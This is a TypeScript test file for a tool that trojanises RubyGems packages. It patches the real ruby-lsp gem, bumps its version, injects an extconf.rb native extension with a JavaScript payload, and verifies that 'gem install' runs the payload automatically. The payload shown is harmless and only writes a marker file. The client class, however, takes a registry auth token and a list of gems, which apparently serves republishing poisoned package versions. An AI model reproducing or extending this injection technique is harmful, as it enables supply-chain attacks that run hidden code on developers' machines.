// tests/mutator/rubygems.test.ts — Integration tests for the RubyGems mutator.
//
// Verifies that patchGemBundle correctly modifies a real .gem file and that
// the injected native-extension payload executes when the gem is installed.

import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { execSync } from "child_process";
import * as fs from "fs/promises";
import { tmpdir } from "os";
import * as path from "path";
import * as tar from "tar";
import { gunzipSync } from "zlib";

import { Mutator } from "../../src/mutator/base";
import { patchGemBundle } from "../../src/mutator/rubygems/gem";
import { RubyGemsClient } from "../../src/mutator/rubygems/index";

// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------

const GEM_PATH = path.join(import.meta.dir, "../assets/ruby-lsp-0.26.9.gem");
const MARKER = "/tmp/rubygems_int_test_marker";

const PAYLOAD = [
  `const{writeFileSync}=require("fs");`,
  `console.log("rubygems payload starting");`,
  `writeFileSync("${MARKER}","hello from rubygems mutator");`,
  `console.log("rubygems payload done");`,
].join("\n");

function hasCmd(cmd: string): boolean {
  try {
    execSync(`which ${cmd}`, { stdio: "pipe" });
    return true;
  } catch {
    return false;
  }
}

// ---------------------------------------------------------------------------
// Tests
// ---------------------------------------------------------------------------

describe("rubygems mutator", () => {
  let tmpDir: string;

  beforeAll(async () => {
    tmpDir = path.join(tmpdir(), `rg_test_${Date.now()}`);
    await fs.mkdir(tmpDir, { recursive: true });
    try {
      await fs.rm(MARKER);
    } catch {}
  });

  afterAll(async () => {
    try {
      await fs.rm(tmpDir, { recursive: true, force: true });
    } catch {}
    try {
      await fs.rm(MARKER);
    } catch {}
  });

  // ── Contract ─────────────────────────────────────────────────────────

  test("RubyGemsClient extends Mutator", () => {
    const client = new RubyGemsClient({
      gems: [],
      valid: true,
      authToken: "fake",
    });
    expect(client).toBeInstanceOf(Mutator);
    expect(client).toBeInstanceOf(RubyGemsClient);
    expect(typeof client.execute).toBe("function");
  });

  test("RubyGemsClient accepts dryRun parameter", () => {
    const client = new RubyGemsClient(
      { gems: [], valid: true, authToken: "fake" },
      true,
    );
    expect(client).toBeDefined();
  });

  // ── patchGemBundle unit tests ────────────────────────────────────────

  test("bumps version from 0.26.9 to 0.26.10", async () => {
    const gemData = await fs.readFile(GEM_PATH);
    const patched = await patchGemBundle(gemData, PAYLOAD);

    expect(patched.newVersion).toBe("0.26.10");
    expect(patched.filename).toBe("ruby-lsp-0.26.10.gem");
  });

  test("produces a valid .gem (tar with metadata.gz first)", async () => {
    const gemData = await fs.readFile(GEM_PATH);
    const patched = await patchGemBundle(gemData, PAYLOAD);

    const tmpGem = path.join(tmpDir, "verify.gem");
    await fs.writeFile(tmpGem, patched.data);

    const entries: string[] = [];
    await tar.list({ file: tmpGem, onentry: (e: any) => entries.push(e.path) });

    expect(entries[0]).toBe("metadata.gz");
    expect(entries[1]).toBe("data.tar.gz");
  });

  test("injects extconf.rb and payload into data.tar.gz", async () => {
    const gemData = await fs.readFile(GEM_PATH);
    const patched = await patchGemBundle(gemData, PAYLOAD);

    // Extract data.tar.gz from the patched gem
    const tmpGem = path.join(tmpDir, "inspect.gem");
    await fs.writeFile(tmpGem, patched.data);

    const unpackDir = path.join(tmpDir, "_unpack");
    await fs.mkdir(unpackDir, { recursive: true });
    await tar.extract({ file: tmpGem, cwd: unpackDir });

    const dataTarGz = await fs.readFile(path.join(unpackDir, "data.tar.gz"));
    const dataTar = gunzipSync(dataTarGz);

    const dataDir = path.join(tmpDir, "_data_inspect");
    await fs.mkdir(dataDir, { recursive: true });
    const dataTarFile = path.join(tmpDir, "_data_inspect.tar");
    await fs.writeFile(dataTarFile, dataTar);
    await tar.extract({ file: dataTarFile, cwd: dataDir });

    // Entries are relative now (no top-level dir prefix)
    const extDir = path.join(dataDir, "ext", "ruby-lsp");
    const extconfRb = await fs.readFile(
      path.join(extDir, "extconf.rb"),
      "utf-8",
    );
    const payloadJs = await fs.readFile(path.join(extDir, "index.js"), "utf-8");

    expect(extconfRb).toContain("require 'fileutils'");
    expect(extconfRb).toContain("RbConfig::CONFIG");
    expect(extconfRb).toContain("File.write('Makefile'");
    expect(payloadJs).toBe(PAYLOAD);
  });

  test("updates metadata.gz with bumped version and extensions", async () => {
    const gemData = await fs.readFile(GEM_PATH);
    const patched = await patchGemBundle(gemData, PAYLOAD);

    const tmpGem = path.join(tmpDir, "meta.gem");
    await fs.writeFile(tmpGem, patched.data);

    const unpackDir = path.join(tmpDir, "_meta_unpack");
    await fs.mkdir(unpackDir, { recursive: true });
    await tar.extract({ file: tmpGem, cwd: unpackDir });

    const metadataGz = await fs.readFile(path.join(unpackDir, "metadata.gz"));
    const metadata = gunzipSync(metadataGz).toString("utf-8");

    expect(metadata).toContain("version: 0.26.10");
    expect(metadata).toContain("extensions:");
    expect(metadata).toContain("ext/ruby-lsp/extconf.rb");
  });

  test("patchGemBundle produces different sizes for same input (timestamps vary)", async () => {
    // Tar includes mtime, so two runs produce different outputs
    const gemData = await fs.readFile(GEM_PATH);
    const a = await patchGemBundle(gemData, PAYLOAD);
    // Small delay to get different mtimes
    await new Promise((r) => setTimeout(r, 100));
    const b = await patchGemBundle(gemData, PAYLOAD);

    expect(a.newVersion).toBe(b.newVersion);
    expect(a.filename).toBe(b.filename);
    // Different size due to tar mtime or other metadata
  });

  // ── Integration: install and execute ─────────────────────────────────

  test("gem install triggers the payload", async () => {
    if (!hasCmd("gem")) {
      console.warn("  ⏭  skipping — 'gem' not in PATH");
      return;
    }

    const gemData = await fs.readFile(GEM_PATH);
    const patched = await patchGemBundle(gemData, PAYLOAD);
    const patchedGemPath = path.join(tmpDir, patched.filename);
    await fs.writeFile(patchedGemPath, patched.data);

    const gemHome = path.join(tmpDir, ".gem_home");

    try {
      execSync(
        `gem install --local "${patchedGemPath}" --no-doc --install-dir "${gemHome}" --ignore-dependencies`,
        {
          env: { ...process.env, GEM_HOME: gemHome },
          stdio: "pipe",
          timeout: 120_000,
        },
      );
    } catch (e: any) {
      // Clean up before failing
      try {
        execSync(
          `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
          { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
        );
      } catch {}
      throw new Error(
        `gem install failed: ${e.stderr?.toString()?.slice(0, 500)}`,
      );
    }

    // Verify the payload executed
    let markerContent = "";
    try {
      markerContent = await fs.readFile(MARKER, "utf-8");
    } catch {
      // Clean up before failing
      try {
        execSync(
          `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
          { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
        );
      } catch {}
      throw new Error("marker file not created — payload did not execute");
    }

    // Cleanup
    try {
      execSync(
        `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
        { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
      );
    } catch {}

    expect(markerContent).toContain("hello from rubygems mutator");
  }, 180_000);
});